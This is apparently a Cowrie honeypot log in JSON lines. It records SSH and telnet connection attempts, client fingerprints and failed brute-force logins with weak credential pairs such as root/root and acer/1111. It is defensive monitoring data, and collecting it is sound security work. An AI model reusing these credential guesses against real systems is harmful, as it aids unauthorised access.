{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":19701,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c5c77db1fe0","protocol":"telnet","message":"New connection: 89.43.134.59:19701 (159.203.135.109:23) [session: 1c5c77db1fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:37:03.099151Z"}
{"eventid":"cowrie.session.closed","duration":120.00263118743896,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:37:03.954423Z","src_ip":"89.43.134.59","session":"d4471c437211","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45112,"dst_ip":"159.203.135.109","dst_port":22,"session":"d43cfa5bcd74","protocol":"ssh","message":"New connection: 159.203.92.129:45112 (159.203.135.109:22) [session: d43cfa5bcd74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:37:19.821901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:37:19.828088Z","src_ip":"159.203.92.129","session":"d43cfa5bcd74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:37:19.832201Z","src_ip":"159.203.92.129","session":"d43cfa5bcd74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ace","password":"123456","message":"login attempt [ace/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:37:19.880550Z","src_ip":"159.203.92.129","session":"d43cfa5bcd74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:37:20.896765Z","src_ip":"159.203.92.129","session":"d43cfa5bcd74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.4.167","src_port":40274,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e27d0fcded9","protocol":"ssh","message":"New connection: 161.132.4.167:40274 (10.17.0.5:22) [session: 4e27d0fcded9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:37:36.635156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:37:37.115467Z","src_ip":"161.132.4.167","session":"4e27d0fcded9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:37:37.160349Z","src_ip":"161.132.4.167","session":"4e27d0fcded9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:37:40.895262Z","src_ip":"161.132.4.167","session":"4e27d0fcded9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:37:42.164929Z","src_ip":"161.132.4.167","session":"4e27d0fcded9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59730,"dst_ip":"159.203.135.109","dst_port":22,"session":"6598e1d58392","protocol":"ssh","message":"New connection: 159.203.92.129:59730 (159.203.135.109:22) [session: 6598e1d58392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:38:01.614011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:38:01.620274Z","src_ip":"159.203.92.129","session":"6598e1d58392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:38:01.629086Z","src_ip":"159.203.92.129","session":"6598e1d58392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ace","password":"ace","message":"login attempt [ace/ace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:38:01.664920Z","src_ip":"159.203.92.129","session":"6598e1d58392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:38:02.673825Z","src_ip":"159.203.92.129","session":"6598e1d58392","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42536,"dst_ip":"159.203.135.109","dst_port":22,"session":"83c73b4ffa5a","protocol":"ssh","message":"New connection: 159.203.92.129:42536 (159.203.135.109:22) [session: 83c73b4ffa5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:38:43.186033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:38:43.191299Z","src_ip":"159.203.92.129","session":"83c73b4ffa5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:38:43.197061Z","src_ip":"159.203.92.129","session":"83c73b4ffa5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"1","message":"login attempt [acer/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:38:43.208818Z","src_ip":"159.203.92.129","session":"83c73b4ffa5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:38:44.227453Z","src_ip":"159.203.92.129","session":"83c73b4ffa5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01445889472961,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:39:03.113466Z","src_ip":"89.43.134.59","session":"1c5c77db1fe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":52791,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd9ee7c14ca4","protocol":"telnet","message":"New connection: 89.43.134.59:52791 (159.203.135.109:23) [session: cd9ee7c14ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:39:06.202246Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33944,"dst_ip":"159.203.135.109","dst_port":22,"session":"705e0e2c5224","protocol":"ssh","message":"New connection: 159.203.92.129:33944 (159.203.135.109:22) [session: 705e0e2c5224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:39:22.664109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:39:22.669010Z","src_ip":"159.203.92.129","session":"705e0e2c5224","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:39:22.678259Z","src_ip":"159.203.92.129","session":"705e0e2c5224","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"11","message":"login attempt [acer/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:39:22.690114Z","src_ip":"159.203.92.129","session":"705e0e2c5224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:39:23.697329Z","src_ip":"159.203.92.129","session":"705e0e2c5224","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51678,"dst_ip":"159.203.135.109","dst_port":22,"session":"663995806515","protocol":"ssh","message":"New connection: 159.203.92.129:51678 (159.203.135.109:22) [session: 663995806515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:40:03.817092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:40:04.145909Z","src_ip":"159.203.92.129","session":"663995806515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:40:04.154637Z","src_ip":"159.203.92.129","session":"663995806515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.116.239.141","src_port":63377,"dst_ip":"10.17.0.5","dst_port":23,"session":"27a384d2f036","protocol":"telnet","message":"New connection: 177.116.239.141:63377 (10.17.0.5:23) [session: 27a384d2f036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:40:05.444715Z"}
{"eventid":"cowrie.login.failed","username":"acer","password":"111","message":"login attempt [acer/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:40:06.233838Z","src_ip":"159.203.92.129","session":"663995806515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:40:07.821955Z","src_ip":"159.203.92.129","session":"663995806515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.23996877670288,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:40:18.684566Z","src_ip":"177.116.239.141","session":"27a384d2f036","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55858,"dst_ip":"159.203.135.109","dst_port":22,"session":"5894f259462c","protocol":"ssh","message":"New connection: 159.203.92.129:55858 (159.203.135.109:22) [session: 5894f259462c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:40:48.500312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:40:48.508802Z","src_ip":"159.203.92.129","session":"5894f259462c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:40:48.513864Z","src_ip":"159.203.92.129","session":"5894f259462c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"1111","message":"login attempt [acer/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:40:48.524839Z","src_ip":"159.203.92.129","session":"5894f259462c","protocol":"ssh"}
